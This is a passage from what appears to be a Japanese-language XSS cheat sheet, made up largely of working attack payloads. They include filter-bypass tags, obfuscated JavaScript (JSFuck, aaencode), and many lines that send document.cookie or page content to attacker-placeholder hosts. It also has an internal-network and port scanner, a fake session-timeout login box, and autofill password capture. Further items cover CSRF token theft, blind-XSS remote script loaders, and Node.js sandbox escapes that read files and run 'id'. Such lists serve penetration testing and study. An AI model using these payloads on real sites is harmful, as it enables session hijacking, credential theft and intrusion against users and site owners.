<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS with header injection in a 302 response
もしあなたが 302リダイレクトレスポンスにヘッダーを注入できる ことがわかった場合、ブラウザに任意のJavaScriptを実行させることを試みることができます。これは 簡単ではありません。現代のブラウザは、HTTPレスポンスステータスコードが302の場合、HTTPレスポンスボディを解釈しないため、単なるクロスサイトスクリプティングペイロードは無意味です。
このレポート と こちら では、Locationヘッダー内でいくつかのプロトコルをテストし、それらのいずれかがブラウザにボディ内のXSSペイロードを検査して実行させることを許可するかどうかを確認する方法を読むことができます。
過去に知られているプロトコル: mailto://
, //x:1/
, ws://
, wss://
, 空のLocationヘッダー, resource://
.
Only Letters, Numbers and Dots
もしあなたが コールバック を示すことができるなら、javascriptはその文字に制限されて 実行 されます。この投稿のこのセクションを読んで この動作を悪用する方法を見つけてください。
Valid <script>
Content-Types to XSS
(こちらから)もしあなたが content-type として application/octet-stream
を持つスクリプトを読み込もうとすると、Chromeは次のエラーを投げます:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
Chromeが 読み込まれたスクリプト を実行するのをサポートする唯一の Content-Type は、https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc の const kSupportedJavascriptTypes
内のものです。
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Script Types to XSS
(From here) では、どのタイプがスクリプトを読み込むことを示す可能性がありますか?
<script type="???"></script>
- module (デフォルト、説明は不要)
- webbundle: Web Bundlesは、HTML、CSS、JSなどのデータをまとめて**
.wbn
**ファイルにパッケージ化できる機能です。
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: インポート構文を改善することを可能にします
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
この動作は、この解説でライブラリをevalに再マッピングしてXSSを引き起こすために悪用されました。
- speculationrules: この機能は、プリレンダリングによって引き起こされるいくつかの問題を解決するためのものです。動作は次のようになります:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
Web Content-Types to XSS
(From here) 次のコンテンツタイプは、すべてのブラウザでXSSを実行できます:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? リストにはありませんが、CTFで見たことがあると思います)
- application/rss+xml (オフ)
- application/atom+xml (オフ)
他のブラウザでは、他の Content-Types
を使用して任意のJSを実行できます。確認してください: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml Content Type
ページがtext/xmlコンテンツタイプを返す場合、名前空間を指定して任意のJSを実行することが可能です:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
特殊置換パターン
"some {{template}} data".replace("{{template}}", <user_input>)
のようなものが使用されるとき、攻撃者は特殊文字列置換を使用して、いくつかの保護を回避しようとすることがあります: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
例えば、この書き込みでは、スクリプト内のJSON文字列をエスケープし、任意のコードを実行するために使用されました。
ChromeキャッシュからXSSへ
XS Jailのエスケープ
使用できる文字のセットが限られている場合、XSJailの問題に対する他の有効な解決策を確認してください:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
もしすべてが未定義である場合、信頼できないコードを実行する前に(例えばこの解説のように)、何もないところから有用なオブジェクトを生成して、任意の信頼できないコードの実行を悪用することが可能です:
- import()を使用して
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
require
を間接的にアクセスする
これによると モジュールはNode.jsによって関数内にラップされます。
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
したがって、そのモジュールから別の関数を呼び出すことができれば、その関数からarguments.callee.caller.arguments[1]
を使用して**require
**にアクセスすることが可能です:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
前の例と同様に、エラーハンドラーを使用してモジュールのラッパーにアクセスし、**require
**関数を取得することが可能です:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuscation & Advanced Bypass
- 1ページ内の異なる難読化: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- より洗練されたJSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
XSSの一般的なペイロード
1つのペイロードに複数
Iframeトラップ
ユーザーがiframeを退出せずにページ内を移動させ、その行動を盗む(フォームに送信された情報を含む):
クッキーの取得
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
note
あなたはHTTPOnlyフラグがクッキーに設定されている場合、JavaScriptからクッキーにアクセスすることはできません。しかし、運が良ければ、ここにこの保護を回避するいくつかの方法があります。
ページコンテンツを盗む
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
内部IPを見つける
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
ポートスキャナー (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
ポートスキャナー (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
応答しているポートは短い時間を示します 応答がない場合は長い時間を示します。
Chromeで禁止されているポートのリストをこちらで確認し、Firefoxではこちらで確認してください。
資格情報を要求するボックス
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
自動入力パスワードキャプチャ
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
任意のデータがパスワードフィールドに入力されると、ユーザー名とパスワードが攻撃者のサーバーに送信されます。クライアントが保存されたパスワードを選択し、何も入力しなくても、認証情報は外部に流出します。
キーロガー
GitHubで検索したところ、いくつかの異なるものを見つけました:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- また、metasploitの
http_javascript_keylogger
を使用することもできます。
CSRFトークンの盗難
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
PostMessageメッセージの盗難
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
サービスワーカーの悪用
シャドウDOMへのアクセス
ポリグロット
ブラインドXSSペイロード
You can also use: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
